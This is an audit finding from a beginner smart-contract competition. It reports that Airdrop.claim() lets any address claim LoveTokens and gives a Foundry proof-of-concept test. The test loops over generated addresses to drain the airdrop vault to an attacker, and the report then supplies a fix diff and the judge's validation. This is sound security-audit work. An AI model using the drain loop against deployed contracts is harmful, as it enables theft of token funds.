Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Business logic bug in Airdrop.claim() function

Summary

Anyone can claim token with Airdrop even he don't have soulmate or are random user

Vulnerability Details

Everyone can claim a LoveToken in the Airdrop, whether the user has a soulmate or not, or even if they have never minted a token, they can collect LoveTokens via Airdrop. This is due to an error in the Airdrop.claim method.

Impact

Users can claim the Airdrop multiple times even if they are divorced, Airdrop Vaut is giving token to user that shouldn't be benifeciary

##Proof of Concept:
The test case below, to be included in AirdropTest.sol, demonstrates that when a user claims an Airdrop without being divorced, it does not revert as expected.

AirdropTest.t.test

function test_Anyone_can_claim() public {
address attacker = makeAddr("attacker");
vm.warp(block.timestamp + 200 days );
uint256 balanceBefore = loveToken.balanceOf(attacker);
@> //It is possible to drain all the funds in Airdrop Vault by chaging the value count = 5e8 ether/ 200 ether;
uint256 count = 1e8 ether/ 200 ether;
for (uint i = 0; i < count ; i++) {
address attacker_temp = address(uint160(uint256(keccak256(abi.encodePacked(attacker, i)))));
vm.prank(attacker_temp);
airdropContract.claim();
uint256 balanceTemp = loveToken.balanceOf(attacker_temp);
vm.prank(attacker_temp);
loveToken.transfer(attacker, balanceTemp);
}
uint256 balanceAfter = loveToken.balanceOf(attacker);
assertTrue(balanceAfter - balanceBefore == 1e8 ether);
}

Tools Used

  • foundry

Recommendations

It is necessary to check the value of soulmateContract.idToCreationTimestamp(soulmateContract.ownerToId(msg.sender)) and revert a custom error if the value is equal to 0.

Airdrop.sol

+ error Airdrop__SoulmateDoesntExist();
function claim() public {
// No LoveToken for people who don't love their soulmates anymore.
if (soulmateContract.isDivorced()) revert Airdrop__CoupleIsDivorced();
+ uint256 soulmateTimeStamp = soulmateContract.idToCreationTimestamp(soulmateContract.ownerToId(msg.sender));
+ if (soulmateTimeStamp == 0) revert Airdrop__SoulmateDoesntExist();
// Calculating since how long soulmates are reunited
+ uint256 numberOfDaysInCouple = (block.timestamp - soulmateTimeStamp) / daysInSecond;
- uint256 numberOfDaysInCouple = (block.timestamp - soulmateContract.idToCreationTimestamp(soulmateContract.ownerToId(msg.sender))) / daysInSecond;
uint256 amountAlreadyClaimed = _claimedBy[msg.sender];
if (amountAlreadyClaimed >= numberOfDaysInCouple * 10 ** loveToken.decimals()) {
revert Airdrop__PreviousTokenAlreadyClaimed();
}
uint256 tokenAmountToDistribute = (numberOfDaysInCouple * 10 ** loveToken.decimals()) - amountAlreadyClaimed;
// Dust collector
if (tokenAmountToDistribute > loveToken.balanceOf(address(airdropVault))) {
tokenAmountToDistribute = loveToken.balanceOf(address(airdropVault));
}
_claimedBy[msg.sender] += tokenAmountToDistribute;
emit TokenClaimed(msg.sender, tokenAmountToDistribute);
loveToken.transferFrom(address(airdropVault), msg.sender, tokenAmountToDistribute);
}
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-claim-airdrop-without-owning-NFT

High severity, This issue is separated from the flawed `isDivorced()` check presented in issue #168 as even if that is fixed, if ownership is not checked, isDivorced would still default to false and allow bypass to claim airdrops by posing as tokenId 0 in turn resulting in this [important check for token claim is bypassed.](https://github.com/Cyfrin/2024-02-soulmate/blob/b3f9227942ffd5c443ce6bccaa980fea0304c38f/src/Airdrop.sol#L61-L66). #220 is the most comprehensive issue as it correctly recognizes both issues existing within the same function.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.